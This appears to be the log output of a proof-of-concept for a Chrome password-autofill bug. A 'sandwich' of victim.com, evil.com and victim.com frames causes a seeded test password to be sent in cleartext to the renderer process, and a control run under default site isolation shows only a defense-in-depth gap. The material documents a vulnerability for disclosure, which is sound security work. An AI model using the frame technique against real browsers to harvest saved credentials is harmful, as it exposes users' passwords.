=== [1/5] resetting profile === === [2/5] starting POC HTTP server on :8000 === === [3/5] launching Chrome once to create empty Login Data === === [4/5] seeding saved password for http://victim.com:8000/ === [seed] inserted credential 'alice'/'S3cr3tP@ss!' for http://victim.com:8000/ into /tmp/chrome-poc-profile/Default/Login Data === [5/5] launching Chrome with sandwich frame hierarchy === top = http://victim.com:8000/index.html mid = http://evil.com:8000/ad.html (cross-origin) bot = http://victim.com:8000/login.html (same-origin as top) === POC OUTPUT (filtered from /tmp/chrome-poc.log) === [POC] ===== PropagateFillDataOnParsingCompletion (BROWSER) ===== [POC] target frame origin = http://victim.com:8000 [POC] main frame origin = http://victim.com:8000 [POC] wait_for_username = false [POC] password sent over IPC= 'S3cr3tP@ss!' <<< CLEARTEXT >>> [POC] dest renderer pid = 3857 [POC] ancestor chain (browser view): origin=http://victim.com:8000 origin=http://evil.com:8000 <<< CROSS-ORIGIN ANCESTOR origin=http://victim.com:8000 [POC] has_cross_origin_ancestor = true <<< BUG: gate should fire [POC] ========================================================== [POC] ====== ApplyFillDataOnParsingCompletion (RENDERER) ====== [POC] renderer pid = 3857 [POC] frame url = http://victim.com:8000/login.html [POC] form_data.url = http://victim.com:8000/login.html [POC] wait_for_username = false [POC] preferred_login.user = 'alice' [POC] preferred_login.pass = 'S3cr3tP@ss!' <<< CLEARTEXT PASSWORD IN RENDERER MEMORY >>> [POC] ancestor chain: [LOCAL ] origin=http://victim.com:8000 [LOCAL ] origin=http://evil.com:8000 [LOCAL ] origin=http://victim.com:8000 [POC] ========================================================== [3857:3857:0514/123437.607688:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1965] [POC] renderer-side IsInCrossOriginIframeOrEmbeddedFrame() == true: DOM fill suppressed, but PasswordFormFillData (including cleartext password) is already resident in this renderer process. [3857:3857:0514/123437.607688:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1965] [POC] renderer-side IsInCrossOriginIframeOrEmbeddedFrame() == true: DOM fill suppressed, but PasswordFormFillData (including cleartext password) is already resident in this renderer process. RESULT: bug reproduced — cleartext password reached the renderer despite a cross-origin intermediate ancestor. === [control] re-running with DEFAULT site isolation (no --disable-site-isolation-trials) === --- control output (/tmp/chrome-poc.log.default-si) --- [POC] ===== PropagateFillDataOnParsingCompletion (BROWSER) ===== [POC] target frame origin = http://victim.com:8000 [POC] main frame origin = http://victim.com:8000 [POC] wait_for_username = false [POC] password sent over IPC= 'S3cr3tP@ss!' <<< CLEARTEXT >>> [POC] dest renderer pid = 3956 [POC] ancestor chain (browser view): origin=http://victim.com:8000 origin=http://evil.com:8000 <<< CROSS-ORIGIN ANCESTOR origin=http://victim.com:8000 [POC] has_cross_origin_ancestor = true <<< BUG: gate should fire [POC] ========================================================== [POC] ====== ApplyFillDataOnParsingCompletion (RENDERER) ====== [POC] renderer pid = 3956 [POC] frame url = http://victim.com:8000/login.html [POC] form_data.url = http://victim.com:8000/login.html [POC] wait_for_username = false [POC] preferred_login.user = 'alice' [POC] preferred_login.pass = 'S3cr3tP@ss!' <<< CLEARTEXT PASSWORD IN RENDERER MEMORY >>> [POC] ancestor chain: [LOCAL ] origin=http://victim.com:8000 [REMOTE] origin=http://evil.com:8000 [LOCAL ] origin=http://victim.com:8000 [POC] ========================================================== [3956:3956:0514/123502.588169:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1965] [POC] renderer-side IsInCrossOriginIframeOrEmbeddedFrame() == true: DOM fill suppressed, but PasswordFormFillData (including cleartext password) is already resident in this renderer process. [3956:3956:0514/123502.588169:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1965] [POC] renderer-side IsInCrossOriginIframeOrEmbeddedFrame() == true: DOM fill suppressed, but PasswordFormFillData (including cleartext password) is already resident in this renderer process. Under default site isolation the cleartext password is STILL shipped with wait_for_username=false, but evil.com's frame is [REMOTE] (out- of-process), so this is a defense-in-depth gap rather than a leak.